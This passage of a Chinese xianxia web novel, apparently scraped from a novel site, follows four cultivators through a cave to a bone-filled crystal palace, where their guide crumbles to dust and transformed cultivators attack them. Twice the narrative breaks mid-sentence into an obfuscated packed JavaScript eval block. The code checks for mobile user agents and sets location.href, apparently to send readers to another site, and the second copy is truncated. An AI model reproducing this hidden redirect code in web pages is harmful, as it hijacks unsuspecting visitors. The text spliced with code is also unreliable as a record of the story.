如同垂丝海棠缀在枝头,被风吹得摇曳,下下轻点着波光粼粼的湖面,漾出圈圈涟漪,她一笑,眼角眉梢揉碎在光晕里。 云靖心上泛起一阵酥麻。不过是对视的一个瞬间,他却觉得自己盯她看得实在太久,慌忙地偏过头,视线好巧不巧,落到前方的薛成昭身上。 脑中一下又是白雾弥漫。 他俯身去看,看见那条船上莫名相对的两个人。 此刻的微笑与先前在船上打斗时胜券在握的表情全然不同了,但她一笑,原本凌厉的五官便带上几分柔色,很容易令人觉得……印象深刻。 想到这儿,云靖不禁注意起薛成昭的动向,只见他和阿紫走在一起,两人似是聊得十分愉快。 薛成昭频频侧头,有好几次甚至偏过身子,余光眼看就要转过来。云靖的心由他的动作牵动忐忑,像是有什么唯恐被人发现的珍宝般,还没等他细究自己为何会有这样古怪的反应,话已绕过同音咒,脱口而出。 “别、别笑了。” 一时间,除了灵秋,所有人的目光都向他投来。 “怎么了,大师兄?” 薛成昭对上他的目光,显得十分困惑,不解道:“我不能笑吗?” “无、无事,我瞎说的。” 云靖的耳尖肉眼可见地红了,直在心底暗骂自己有病,恨不能将头埋进胸膛里。 今日出门没看黄历,多少有些轻微中邪。 他开始默默在心底吟诵起清心咒。 27.探境风云扑朔迷离(3) 至于灵秋,她早收了笑容,无视这场突如其来的尴尬闹剧,大步越过了他。 一行人沿石窟行走,一路上只见四周漆黑的石壁上布满绚烂的壁画,如此绵延,无尽无穷。 这一路,薛成昭的惊叹就没停过,一个劲儿地夸赞作画之人,又想到阿紫所说的颜料有毒,忍不住担忧:“这些画师接触了有毒的颜料,身体会不会出现问题?” “应该不会,”阿紫凝神,认真地盯着他,“他们极有可能直接死了。 “因为五百年里我从未见到过任何人。” “这样啊……” 薛成昭闻言不禁一阵扼腕痛惜,激动地握住了阿紫的手臂。 “咦?” 他突然发出一句奇怪的喟叹,忍不住伸手在阿紫的手臂上上下摸索,疑惑问道:“阿紫兄的手臂……是怎么了?” “嗨!” 阿紫也不避讳,听他这么一问,大大咧咧地捞起袖子。 火光下,纤细的玉臂上赫然缠绕着团团青黑色的线状物体,每根足有拇指粗细,自苍白的皮肤纵横,如山脉狰狞隆起,慵懒蠕动,俨然是寄生的活物,在阴暗的空间中显得诡异又恐怖。 几个人见到这幅场景皆是一惊,离得最近的薛成昭大受刺激,更是险些背过气去,被云海川虚扶一把才不至于跌坐在地。 一众人中,唯有灵秋眼中的情绪稍稍平淡几分。 她当然知道这是什么东西。 “这这这是什么东西!?” 薛成昭的惊呼声划破寂静。 阿紫:“这是……” “血蛊。” 沉默中,有人开口。 灵秋讶异地看向身侧的云靖,只听他接着道:“血蛊又称子母血蛊,是一种起源于魔族的恶蛊,通常有子母两蛊。被种下子蛊的人受到蛊虫操控,对身怀母蛊之人惟命是从。” “除此之外,种下血蛊后,无论子母,都必须每隔半年服用一次压制蛊虫的解药,否则便会气血逆流,爆体而亡。” “世上竟有如此凶狠的蛊毒!” 薛成昭不可置信地看着阿紫,后者小鸡啄米似的点了点头。 “这还不是这血蛊最狠毒的地方。” “还有!?” 云靖道:“不错。这蛊的厉害之处就在于中蛊后蛊虫会慢慢侵蚀宿主的血肉,一开始并不会有什么感觉,直到六个月的时间慢慢流逝,宿主每至月夜,被月光照射,便会承受一分更甚一分的剧痛,犹如数柄锋利的刀刃在体内翻搅,说是剖心剜骨也不为过。而且即便及时服下解药,也无法立即得到纾缓,反而会加快承受痛楚的进程。” “我在一些杂书中看过,这种蛊虫极其狠毒,以百年为一轮回,逐渐从血肉向心脉移动,直到最后彻底接管宿主的身体与意识,将中蛊之人完全变作供给灵力与营养的器皿。” 他顿了顿:“不过,许多被种下血蛊的人根本等不到这一天,每六个月一次的剧痛折磨就足以驱使他们不是自绝生机,就是形同疯魔,是以这子母血蛊又被称作世间至毒之首。” 云靖看向阿紫的手臂,严肃道:“你体内的蛊虫如此疯长,为何还能好端端地站在这儿?” 话音刚落,灵秋和云海川眼神锐利,齐齐射向阿紫。 阿紫心虚地清了清嗓子,连忙解释道:“我也不清楚,这血蛊仿佛是生来就有的,自我无意间落入这江底,误触壁画,中了一回毒以后,别看这蛊虫瞧着可怖,实际上根本没什么感觉。” 他掰着手指:“过了这么五百多年,该是这么大还是这么大,一点儿也没长。” “我想大约是这石窟壁画上的毒素无意间有压制它们的功效吧。” “果真?” 灵秋忍不住拔高了声音,身体微微向前倾,目光灼灼地盯着他。 “我……我也不清楚。”阿紫被她看得心下毛毛,忙道:“或许龙王大人会知道呢!” 说着,他不好意思地将衣袖放下来,对薛成昭说:“真是抱歉薛兄弟,让你受惊了。” “没、没有。” 薛成昭听到云靖对血蛊的描述,心头早已恶寒阵阵,一想到阿紫竟然遭受了如此这般非人的折磨,一时又是义愤填膺,见他如今反向自己道歉,更是无地自容,当即恨恨道:“这血蛊当真是魔族害人的东西!” 他迫不及待地看向云靖,急切问道:“大师兄可知道有什么办法能解除此蛊?” 云靖摇头:“据记载,血蛊至今无方可解。” 薛成昭又问阿紫:“阿紫兄可还记得是谁替你种下的蛊?” 阿紫同样摇了摇头。 “一定是魔族!” “该死的魔族!” 接连碰壁的薛成昭再也忍不住情绪,跺脚大骂,就连他身后的云海川脸上也浮现出几抹明显的愠色。 灵秋眉心一蹙。 北边修士果真一向最痛恨魔族。 她偏过头去,懒得看薛成昭和云海川。 与薛成昭的义愤填膺不同,作为受害者的阿紫脸上并没有多余的表情。 他温和地朝几人笑笑,带着他们继续往前行进,没过多久便走入一条狭长的隧道。 隧道那头,新鲜空气带着料峭的冷意扑面而来。与阿紫周身散出的寒气不同,这回,这股冷意从几人脚底窜入,一下贯穿整个躯体,带着从皮肤表面直达心肺的尖刻锐意。 四人心头皆是一凛,云靖下意识捏紧了剑,灵秋则死死盯住了一侧昏暗的石壁。 薛成昭打了个冷颤,快步赶上走在最前面的阿紫:“阿紫兄,此地为何突然如此寒冷?” 阿紫没有回答他的问题,只管步履不停地往前走,连头也不回。 自斜后方看去,青年的侧脸半隐在黑暗中,那道云海川留在他身上压制寒气的禁制萤萤地闪着微光,照得脸颊皮肉白而剔透,好似剥了壳的荔枝。 薛成昭忍不住伸手拍上他的肩。 二人刚接触,阿紫便猛地站定了。 瞬间,掌心传来一股刺骨的冰冷,扎得薛成昭直抽气。 “嘶——阿紫兄?” 他忍不住唤他,阿紫却不肯转过身。 “阿紫兄?” 薛成昭心道许是方才的血蛊一事冒犯了他,正想再上前一步诚心解释,只听得咔嚓一声,仿佛有什么东西突然自内部开裂,紧接着,眼前原本润白的侧脸迅速塌陷下去,像一层干涸的壳被某种由内而外的力量撑裂。 干瘪的皮肤在鼓动,裂缝漆黑的纹路开始扭曲,仿佛有什么东西在皮下缓慢地蠕动,毛孔不再是毛孔,而是一个个微小的洞穴。 阿紫的眼球开始融化,两颗圆滚滚的珠子从眼眶中缓慢垂落,像熔铁滴入尘土,发出刺耳的“滋滋”声,在死一般寂静的空气里显得格外鲜明,鲜明又诡异。 他僵硬地转过头,脸上两个漆黑的空洞正对着薛成昭,张了张嘴,似乎想说什么,唇却在须臾间崩裂成为无数细小的碎片。口中喷涌而出的不是鲜血,而是一股沙质的尘,夹杂着某种陈旧的腥甜气味,让人忍不住干呕恶寒。 薛成昭呆滞地看着这一切,来不及做出任何反应, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15400660|166455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只感到细碎的砂砾迅速挲过掌心,瞬间,方才还活生生站在他面前的阿紫就这么毫无预兆的化作一张空荡的皮囊,扑向脚下,尘土飞扬。 他原本站立的地方只剩一道闪着金光的禁制,悠悠飘落。 一切发生得太快,薛成昭怔在原地动弹不得。 他身后,云海川和云靖皆是一惊,好在反应迅速,回过神便立刻疾步上前,围着阿紫消失的地方仔细探查。 那道禁制静静躺在地上,如同凭空出现。 云靖伸手按了按那块空无一物的地面,除了透骨的寒气,别无所获。 “难……难道此处就是阿紫口中的龙宫?他带我们找到地方,然后就……自、自己遁地而走了?” 薛成昭很快从震惊中缓过神,找到一个相对合理的解释。 然而他转头看了看四周,除了离得更近一些的绮丽壁画外,石窟中的景致与一路走来并无任何不同。 似乎不算一个站得住脚的理由。 云海川和云靖对视一眼,都没有接话。 空气凝滞了几秒,云靖率先站起来,看向灵秋。 此处并没有任何一丝法术的气息,也就是说,阿紫并没有使用任何遁身术,而是实实在在地在众目睽睽之下皮肉剥离,化成一捧尘土,消失在了地上。 换言之,他是真死了。 如此突然而独特的死亡方式,在修士的认知里,只可能存在于一种东西身上——那便是魔族。 与世间万千生灵不同,魔族的死亡是彻底的消散,没有躯体的保留,也没有魂魄的转世,死对魔来说是完全的终结。 死去的魔化作尘土,消散在天地之间,死状就和眼前的阿紫相差无几。 他和云海川几乎同时意识到了这点,纷纷警觉,可任凭两人如何查探,始终找不到哪怕一丝残余的魔气。 云靖看着灵秋,思绪一度陷入焦灼,像是无可奈何,无声询问她的帮助。 灵秋没有直接开口。除了狭窄空间所带来的不适,她心底也正接二连三地浮出问题。 思索良久,她走到石壁面前,指着四人昏暗的影子:“先前我的确察觉到了一些不对劲,譬如,这个‘阿紫’没有影子。而且,你们也听到他刚才对薛公子说的——他在这秘境中五百年,从未见到过任何人。” 灵秋道:“阳华仙会办了可不止五百年,每届参赛的修士想夺取魁首,也都必须进入此处秘境。” 薛成昭倒吸一口凉气:“难……难道我们撞见鬼了!?他就不能是因为害怕龙王之威,遁地而走了吗?” 云海川道:“查过了,没有任何用过法术的痕迹。而且此处显而易见,和他口中的龙宫毫无关系。” 她接着补充:“除了鬼魅,若果真按凌姑娘所说,也可能是试炼途中刻意设置的幻象。” “不可能。”灵秋毫不犹豫地否认了她的猜想,“幻象周身不会有寒气,而且即便幕后操纵之人法力高超到能使之化作实体,也断然承载不了你所下的那道禁制。” “况且……”她看向前方,将手伸进冰凉的空气里,转过头,皮笑肉不笑地盯着薛成昭,恶意的语气轻如呢喃,“你们不觉得吗,眼下这股,不像寒气,更像……” “你你你你……” 薛成昭被她这突如其来的一眼搞得汗毛竖立,心跳失控,连带着话也说不清楚。 成串不着调的“你”中,云靖走入二人中间,隔断交汇的目光,握紧了腰间的剑。 “阴气。” 他看着深不见底的隧道,补充了灵秋没说完的话。 28.探境风云险象环生(1) 薛成昭伸出手,小心翼翼地虚扒上云靖侧面,躲在他身后,只露出四分之一个身子,试探问道:“阿紫若真是鬼魅,为何要将我们带至此处?” “我一向听闻,鬼魅一类的东西,碰上活人,都是要吸取精气的。他就这么放过我们,一言不发地消失,难道、难道合理吗?” “这我可不知道。”灵秋看着他笑,“薛公子不是同他聊得很好吗,怎么,他没同你说?” 一句话将薛成昭带回方才一路大咧咧的亲昵相谈里。 如今回想,他只觉得毛骨悚然,一张脸当下便如水洗白纸般血色尽褪。 云靖古怪地瞧眼灵秋,只觉得她今日表现得十分不对劲,方才接连两句话都对着薛成昭,简直像在刻意逗弄。 他剑眉一蹙,轻侧身子,将薛成昭甩开,上前几步走到灵秋面前,将手上的火举过去:“眼下唯有继续向前一条路可走,我看我们最好尽快启程。” “不错,既然将我们引至此处,想必那位龙王大人正等得辛苦呢。” 灵秋对云海川道:“我开路,少楼主断后,请云姑娘跟在我侧后,将火举得离我近些。” 少楼主。 她三言两语便明确了四人的位置,云靖正闷声不应,云海川已利落上前,越过他站到灵秋身侧,方才被甩开的薛成昭也跟着重新凑了上来。 云靖心下烦闷,微微偏头递给薛成昭一个警告的眼神,彻底断绝了他想和自己肢体接触的念想,一语不发地走到队伍最末。 “我说……我们难道真的要去见那龙王?”薛成昭感受着越来越刺骨的阴冷,紧张地咽了口口水。 “要不我们还是往回走吧,我随身带着传音符,方才已经用了三张,说不定这境中的其他修士很快就能赶来和我们汇合了。” “除妖降魔本就是仙门中人的责任,我们既然遇上了,岂有不一探究竟的道理。” 云海川道:“你出发以前不是还同家主发过誓,此番定要闯出番名头来,眼下不正是好机会吗?” “我是想在阳华仙会上与诸位高手一决高下,不是想惨死在江底恶鬼的手上哇!” 自从阿紫出现,一切事情都变得诡异起来。 薛成昭看了看前面的灵秋,又转头望一眼云靖,心头惴惴不安到了极点。偏偏前者卯着劲,风一般朝前冲,后者偏过头,刻意回避他求助的眼神。 薛成昭只得在心底给自己打气,一边提着长袍,小步跟上云海川,一边咬牙独自坚强。 不知走了有多久,只觉四周阴气愈重,狭窄的隧道逐渐开阔起来,前方隐隐透出光亮。 四个人加快了脚步,拐过一道弯折,豁然开朗。 巨大的冰蓝色天幕下,一座巍峨绚丽的水晶宫殿拔地而起。 通体透亮的建筑反射出皎洁的光,几人顺着光线的方向抬头一看,天幕中央竟赫然悬着一轮月亮。 浅黄的明月好似一只玉盘,硕大而滚圆,孤独地嵌在天上。 四周的石壁上仍绵延着不绝的璀璨壁画,只是再不如先前所见的那般平坦光滑。 嶙峋的石壁被鲜艳的颜料覆盖,如层层堆叠的鳞片,团团环绕在水晶宫四周,就像某种巨大生物的躯干横卧,牢牢守护着心爱的珍宝。 这幅奇异的场景使得几人诧异不已。云海川看着眼前高耸的宫殿,发出一声轻叹,道:“看来此处就是所谓的龙宫了。” “没错。”云靖上前两步,站到灵秋身边,手中的凝霜微微一沉,“我们这就进去。” 他和云海川向前走出一段距离,回头却发现灵秋和苏韫珩还站在原地,一个死死盯着宫殿,一个怔怔望着月亮。 “怎么了?” 云靖的声音迫使灵秋从满腹疑虑中回过神。她看着眼前的水晶宫,眉头紧蹙,心跳如同鼓点砰砰敲打。 眼前这座“龙宫”的样式,她越看越眼熟,几番犹疑比对,竟与记忆中的魔宫重叠在一起。 一切似乎自血蛊开始就格外不对劲。 联想到方才阿紫化为尘土时的模样,灵秋整颗心悬起来。 阳华境的江底秘境怎么会和魔族扯上关系? 她朝前快走几步,刚想回过头招呼一声薛成昭,却听见一阵沉闷的响声——是皮肉撞地的声音。 咚—— 尖叫在同一时刻爆发。 薛成昭面色惨白,脸上肌肉扭曲痉挛,活似见了鬼。 他像一只木偶,直挺挺地往后栽倒,瘫坐在地上,手指月亮,失声大喊道:“动……动了!月、月……动了!” 他的脸色实在太过难看,云海川和云靖齐齐上前,一左一右想扶起他,奈何薛成昭根本站不住,失了力,像一只软脚虾,只顾一个劲儿往下滑。 灵秋顺着他手指的方向看过去,只见月亮平和地挂在天上,像一副静止的工笔画。 谁都知道,它不是真的月亮。 江底是不会有月亮的。 或许是幻象,又或许是别的。 她看向薛成昭,只见他吓得面色惨白,半靠在云靖身上,眼神在四周石壁上打转,嘴里一个劲儿地向两个扶他的同伴重复:“眼、眼睛,我看到了,我看到它眨眼了……这是一只怪物,这是一只怪物啊!” 在薛成昭眼中,犹如画龙点睛,整座石窟骤然变成一头巨大的活物。 他的情绪过于激动,云海川不得不施出清心咒,稍稍稳住他的心神。 薛成昭靠着云靖坐下,心神显然遭受到了极大的震颤。 灵秋朝他投去一道嫌弃的目光,平静道:“只是幻象而已。” 只这一句话,立刻让刚平息几分的苏韫珩重新激动起来。 “绝对不是!!我亲眼看见了,它在冲我眨眼,月亮在冲我眨眼,绝不可能是幻术!” “你清醒一点!”云海川忍不住蹲到他跟前,提高声音,“这是在石窟中,哪来的月亮?” 她指着那轮浅黄的圆盘,“既不是月亮,会眨眼或是会说话又有什么奇怪的?” 云海川紧紧握住薛成昭的手,疾言道:“你我本是仙门中人,纵有妖邪鬼怪,一剑斩之即可。管他龙王魑魅,阻我路者,削首诛魂,又有何惧?” 闻言,苏韫珩眼中渐生出几分清明,抬头看着她,小声道:“可我的确看见了……” 灵秋转头和云靖交换了个眼神,后者将薛成昭交给云海川。二人同时上前,默契地驱动剑气,朝着天上那枚“月亮”飞刺过去。 凌厉的剑意划破空气,带起阵阵刺耳的爆裂声,毫无阻碍穿透那轮浅黄,飞击在高处的石壁上,扬起彩色的碎石飞屑,又迅速掉头飞刺回来。 “你看,果真是幻术吧。” 云海川低头按在薛成昭的左肩。后者看着反复贯穿浅黄的两道剑气,总算逐渐冷静下来。 几人待他在原地调息片刻,终于扣响水晶宫殿的大门。 大门缓缓打开,一行人缓步走进这座雄伟的建筑。 随着两扇厚重的门无声合拢,宫殿外,近乎透明的蓝色天幕中央,那枚淡黄色的“月亮”快速地闭拢。浅青色的细缝里,一道浑浊的液体缓缓流下,垂在天际,像极了一行触目惊心的血泪。 片刻之后,“月亮”再次出现,浅黄的圆盘内,一道细长的黑色裂隙嵌在中央,俨似一只竖瞳,冷峻地注视着几人消失的方向。 宽阔的长廊一眼望不到尽头,四个人脚踩在剔透的水晶上,如同行于镜面,眼前的整个世界一览无余。 周遭只有他们四人的身影。 耳边不时传来叮铃叮铃的响声,是水晶壁饰碰撞的发出的声音,在寂静的空间里回旋,如同某种诡异的乐曲。 奇怪的是,这里并没有风。 宫殿外映照月光,内部却很昏暗,只有模糊的光线,让人刚好能费力辨清眼前的路。 这条诡异的通道很长,久久看不到尽头。几人不断朝里走去,未知的恐惧压在每个人心头,薛成昭忍不住咽了咽口水。 不知深入了多久,忽然间,耳边的水晶声急促起来。转头一看,原本空荡剔透的长廊两侧水晶,竟然同外界的石壁一样,被人用颜料画上了奇异的图案。 不同于壁画的绮丽绚烂,此处的画色调单一且晦暗,只有暗红和浓黑两种。 这些图画不再是无意义的美,却像带有具体含义的叙事体,如同某个古老故事的开头。 每一块镶嵌入墙的水晶高逾八尺,约一臂宽,其上满是狂乱描绘的图案。 与创作壁画的精细完全不同,这里的作画之人犹如刚刚学会如何握笔,每一幅画都须仔细辨认才能勉强拼凑出所传达的意义。 一行人中最先发现不同寻常的仍是薛成昭。 凭借多年对书画的痴迷,他一眼看出,即便风格不同,此处壁画与外界的画均出自同一人之手。 薛成昭见画即痴,心下恐惧全抛到一边,站定在水晶石壁前,兴致勃勃地打量,只见其上似乎绘着一处宽阔的洞穴。 红色的笔触勾勒出一条巨大的眠龙,龙身蜷缩,龙头正对着观画之人。在龙的身侧,杂乱的蓬草下,几只形状奇特的黑色线虫首尾相接,缓慢蠕动。它们光滑的身躯泛着幽冷的光泽,交缠盘绕,似在彼此低语,传递着某种难以察觉的讯息。 一种阴冷而诡异的气息在整幅画上弥漫开来,令人心底发寒,仿佛这眠龙身侧、蓬草深处潜藏着某种无形的杀机。 洞穴高处被厚重的浓雾遮蔽,似乎有什么东西正在极速下落,沉睡中的龙被这动静惊醒,定睛一看,只见一个人形物体仰面趴倒在地上,这人的身侧,依稀可见一把折断的佩剑。 想来,此人是位修士。 龙被这突然闯入的不速之客所惊扰,立起身子,面露惊讶之色。而那误入此间的修士如同一只重伤的白鹤,在地上挣扎几下,很快清醒过来,与龙相对而立,似乎在试图同它交流。 很快,修士翻身,艰难地骑上龙背。 龙腾空跃起,烈焰般的红鳞在阴暗的洞穴中熠熠生辉,似要载他远离这处诡异之地,然而就在下一幅画上,一直潜伏在蓬草里的几只黑虫突然探出身子,如毒蛇般高高立起,阴冷地盯住了腾飞的龙。 刹那间,龙身鲜红的麟甲被数道黑线覆盖,宛若虚空横生的锁链,将它的躯体紧紧禁锢。 飞行失控,原本平稳载着修士的龙忽然开始极速下坠,受伤的修士来不及反应,被抛向地面——而在那里,早已聚集了成群的黑虫,它们扭曲着,如潮水般翻涌,似在迎接一场盛大的猎宴。 修士坠入这群黑虫中间,瞬间便被吞没。下一幅画上,人体血肉无踪,唯剩一具漆黑的骨架矗立在虫群中央,孤零零的遗体上似乎还残留着令人绝望的叹息。 薛成昭不禁心头一紧,下一瞬,只听脚下“咔嚓”一声,像是踩到了什么东西。 他低头一看,只是一方白色的碎屑。 是了,这一路上,越往前走,地上的杂物便越多,通体白色,奇形怪状,不知是些什么东西。 薛成昭并未多想,视线重新落在水晶壁画上。 黑漆漆的骨架散发着森冷的寒光,他努力定了定神才敢继续看下去。 后面几幅画所描绘的内容大同小异。 一个又一个修士带着折断的剑,或伤或残,从天而降落入这处洞穴,同龙交谈,骑上龙,马上就能重获自由的紧要关头,地上的黑虫突然成群结队地出现,龙跟着被黑线所缚,失去平衡,摔倒在地上。 修士落入黑虫之中,很快便被分食得只剩骨头。 几个人就这么看了一路,直到最后几幅画,龙无力地趴倒在地上,红色的躯体上布满了拇指粗细的黑线,新落下的修士站在它身前,试图同它交谈,却迅速被四周环绕的黑虫一窝蜂地吞没。 此时,洞穴里已经堆满了黑虫们吃剩下的人骨,漆黑森寒一片。很长一段时间,再没有修士落入洞中,它们终于打起了龙的主意,将它团团围在中间。 精疲力竭的龙毫无反抗之意,轻易便被这些虫子分食入腹。 诡异的是,这些黑虫吃掉龙后,竟然再次呈现出第一幅画中首尾相接的形态——它们附着在巨大的龙骨上,渐渐重新变成一条黑龙的形状。 不知过了多久,空中再次掉下一位修士,和所有前人一样,这位修士站在黑龙身前,试图同它交谈。这一回,黑龙既没有载起他,也没有吃掉他,而是俯下身子凑近他。 狭长的竖瞳微微闪动出幽深的光芒,只见那修士跌跌撞撞地转过身,拿起手中断剑,毫不犹豫地生剖开自己的小腹。 皮肉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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过了好一会儿,身后的薛成昭还像没缓过劲来似的大口呼吸着。 “世上怎么会有如此诡异的事?”他惊魂未定地抚着胸口,重复感叹,忍不住推翻自己的结论:“这殿中的画与外面的壁画一定是由两拨不同的人所作。” “这水晶壁画如此古怪,我们最好警醒些。” 云海川跟在灵秋身后,同样心有余悸,手上凝出了一道符咒,做出随时防御的姿态。 她话音刚落,突然,前面的人停了下来。 云海川心头一跳,只听“咔嚓”一声,脚下又踩碎了什么东西。 她移开靴子,只见水晶地面上躺着的长条状物体呈现出半碎的姿态,完整的那部分微微泛黄,表面布满了细微的裂纹与坑洼,段段拼接,缝隙清晰可见,依稀瞧得出往日的形态——像极了某种动物的断肢。 心头忽的漫上一股寒意,云海川移开目光,走到灵秋身侧,只见她入定似的,一动不动地盯着前方。 “凌姑娘,怎么了?” 她一面问着,一面顺着她的视线看过去,只一眼,身体便瞬间僵硬在原地。 一股战栗如同电流般极速窜过脊椎,连带着呼吸猛地滞涩住。 远处,透明的水晶长廊上,越来越密集的白色物体延伸蔓延,直至望不到尽头的终点。 横七竖八重叠着的骨架以某种狰狞的形态躺倒在透明的水晶上。密密麻麻的尸体被四面镜面反射,绵延不绝。 犹如一个规模巨大,望不见尽头的殉葬冢。排山倒海的白骨堆叠成这处诡谲的人间炼狱,鬼魅般响声在耳边游荡,像是某种生物急促啃食发出的咀嚼声。 云海川想起方才这一路上所见之物,想到自己踩碎的那个东西,心头恶寒猛袭,忍不住捂着胸口,干呕出声。 几乎同时,二人身后的薛成昭和云靖也看到了这幅恐怖的场景。 薛成昭当场腿软,连连后退几步,瘫坐在地上,云靖则面色发白,快步行至灵秋身侧。 他胸口剧烈起伏着,半晌吐不出一个字,过了片刻,手背一热,竟是她试图拿过凝霜。 云靖乖顺地将剑递过去,只见灵秋迅速提起凝霜,向着那成堆的白骨走去。 他伸手拉住她的衣角,面色担忧,似想阻拦。 “别怕。” 灵秋盯着被他紧紧攥在手心里的那角衣袍,轻吐出两个字。 云靖迈步跟上她。 灵秋驱使着剑气,表情是从未有过的冷硬。 她以一种极其利落的姿态,掀开累累的白骨,不顾碎屑四溅,似在急切搜寻着什么东西,剑气所经之处,枯骨立成缥缈飞灰。 云靖看着她越发僵硬的脸色,忍不住伸手轻轻拽她。 “我没事。” 灵秋按住他的手臂,剑却一刻也愿不停。 终于,她像发现什么般,眼睛一亮,收了剑,转向另一侧,继续动作。 云靖跟着看过去,只见数层白骨下,一具形状扭曲的骨架赫然露出真容。 与常人不同,这具骨架虽四肢健全,牙齿却又尖又利,骨骼呈现诡异的凸起状态,形如野兽。 他骤然想到方才在水晶壁画上的所见,心头一惊,接着又见不远处的灵秋猛地抬头。 二人对视,他看见她从累累白骨中挑起一个闪着银光的长条——那是属于剑修的本命剑,一把断剑。 云靖瞳孔猛地一缩,继而听见她的声音:“阳华境外因浓雾遇难的修士和过去参与试炼丧命的人,可曾找见过尸体?” 阳华仙会的事他自幼时便听父母反复讲述,记得清楚——比擂台对战更凶险的是秘境试炼,不少修士都在这关丧命。 除此之外,作为阳华境的护境结界,即便是最有经验的修士也极容易在这江雾中迷失方向,撞上峭壁,坠入江底。 云靖记得分明,父亲说,这些人或迷失在浓雾中或命丧于秘境内,生不见人,死不见尸,唯有门派中链接性命的长生灯灭,方才终于得以确认死讯,树碑立冢。 “并未。” 他艰涩地开口,说出一个连自己也不敢相信的猜想:“难道说,这些人……方才的那些画,都是……真的!?” 纵使云靖再能忍,此刻也再抑制不住心头的恶寒,面露惊色。 灵秋闻言只将那断剑一扔,干脆地拽住他的胳膊,急道:“这绝对不是普通的试炼。此地不宜久留,我们快走!” 29.探境风云险象环生(2) 说着,她便顺手去拉一旁还没缓过劲儿的云海川。 云靖也迅速反应过来,跟着去扶瘫坐在地上的薛成昭。 他刚刚将薛成昭拉起半个身子,只听远处传来一阵杂乱的咔哒声。那声音越来越大,越靠越近,几乎完全覆盖了耳边叮铃作响的水晶声。 咔哒……咔哒…… 像是某种动物在地上爬行,速度飞快,节奏混乱,骨头和地面撞击,带着近似疯癫的狂热。 一声尖锐的嚎叫,语调模糊,夹杂着令人作呕的血腥气。几人下意识后退,灵秋快步一跃,提着凝霜挡在了最前面。 啪!! 眨眼间,远处,成群的獠牙异人破壁而出,飞扑逼近。 这些“人”四肢伏地,形容诡异,爬行姿态如同蜘蛛般灵动,又似古猿般诡谲,面容各有不同,五官却都被由内自外疯长皮肉的獠牙刺破扭曲,皮肉绞颤成令人作呕的惨状,显得既暴虐又荒诞,几乎看不出原貌。 他们的衣衫被变异凸起的骨骼戳破,动作扭曲而迅速,口中不断发出有节奏的“嘶嘶”声,尖利仿若钢针,直刺向几人,带着扭曲的锋芒,似要将耳膜穿破。 亲眼看到活体的震撼远超过骨架。一想到这些“人”都是和他们一样的修士所变,云靖只觉心头惊恶阵阵。 约莫数十只异人将他们团团围住,薛成昭吓得几近晕死,云海川亦面色惨白,下意识抽出了袖中的符篆。 说是迟,那是快。转眼间,形成合围之势的异人们发狂般扑向四人,灵秋反应迅速,劈手提剑飞砍,锐利的剑气逐个击中异人,搅得那有节奏的“嘶嘶”声破碎不堪。 她一边出剑,一边冲着剩下三个人大喝:“愣着干什么,出手啊!” 说着将手中凝霜飞抛给云靖,自己驱动了剑气。 云靖迅速提剑将云海川和薛成昭挡在身后。 他和灵秋背对彼此,很快,四周的异人便被两人的剑气掀飞至数丈之外。 四个人同时松了口气,然而好景不长,不过眨眼之间,被打退的异人在地上挣扎几下,竟像没丝毫受过伤般重整旗鼓,卷土重来。 它们的身上分明满是血迹,却没有半分吃痛迟疑,很快便将断肢重新整理在一起,扭曲的面容愈发狂热,猩红的眼眸中燃烧着诡谲的火焰,更加疯狂地扑了上来。 云海川飞快甩出手中的符咒,金光阵阵,将异人击落一片。薛成昭也终于稍稍缓过神来,调动气息,接连抛出一道又一道诀。 四个人围成一圈,抵挡着异人的进攻,被击中的异人倒了一片又一片,很快又再次站起来。他们口中的“嘶嘶”声犹如一种集结号。 远处,又有更多的异人源源不断地从四面八方涌来,这场战斗仿佛看不到尽头。 混乱中,薛成昭用尽全身力气,拼命调动着体内灵力,正欲使出致命一击,瞳孔却猝然放大,手上的动作也跟着顿在半空。 他眼睁睁地看着这只异人扑向自己,灵秋注意到这边的动静,迅速抛来一道锋利的剑气,不料却被薛成昭用尽全力生生抵挡回去。 一瞬间,灵力相撞爆发出的巨大对冲猛地撞向周围,打散了四人原本整齐的队形。 灵秋在地上滚了两圈,灰头土脸地爬起来,怒从心头起,一手甩开数道诀,噼里啪啦地将若干异人炸成飞灰,直向薛成昭飞扑而去。 她质问的话还未说出口,只见他连滚带爬地冲向一只异人,嘴里大喊着:“闻人表姐!” 一时间,剩下的三人都愣在当场。 那异人身上的衣物虽破,却不显旧,散乱的鬓间摇摇欲坠地吊着一支朱钗,腰间挂着一只兰花纹样的玉牌,其上用娟秀小楷写着“闻人”二字。 正是传说中的闻人双双不假。 云靖不可置信地看着手中的剑——上面还残留着异人的气息。 薛成昭飞奔向闻人双双,对方嘴里接连发出有节奏的“嘶嘶”声,张牙舞爪,冲他露出尖利的獠牙。 与此同时,更多的异人从四面八方扑来。云靖和云海川却像石化般呆立在原地,迟迟无法再出手。 打是打不完了。 灵秋身形一顿,猛地将剑插入地下,口中念念有词,顷刻结出一方巨大的法阵。 符文交错,数百道剑影赫然出现在阵中,随她的动作飞射向四面八方。 水晶长廊颤动起来,薛成昭朝闻人双双伸出手,想唤醒她的神志,身下突然裂出一条狰狞的缝隙。紧跟着,灵秋自身后生拽住他的手臂,拖着他,御剑飞至空中。 “闻人表姐!” 薛成昭一阵惊呼,身下的水晶长廊整个断裂,无数异人和白骨顷刻消失在深渊里。一片混乱中,云海川站在云靖的剑上,操纵符篆,将闻人双双吊在半空。 她连连甩出数道咒语,暴躁的闻人双双终于失去意识,昏睡过去。 长廊被毁坏殆尽,半个水晶宫开始摇摇欲坠,云靖和灵秋在漫天破碎的水晶碎片中御剑穿梭。 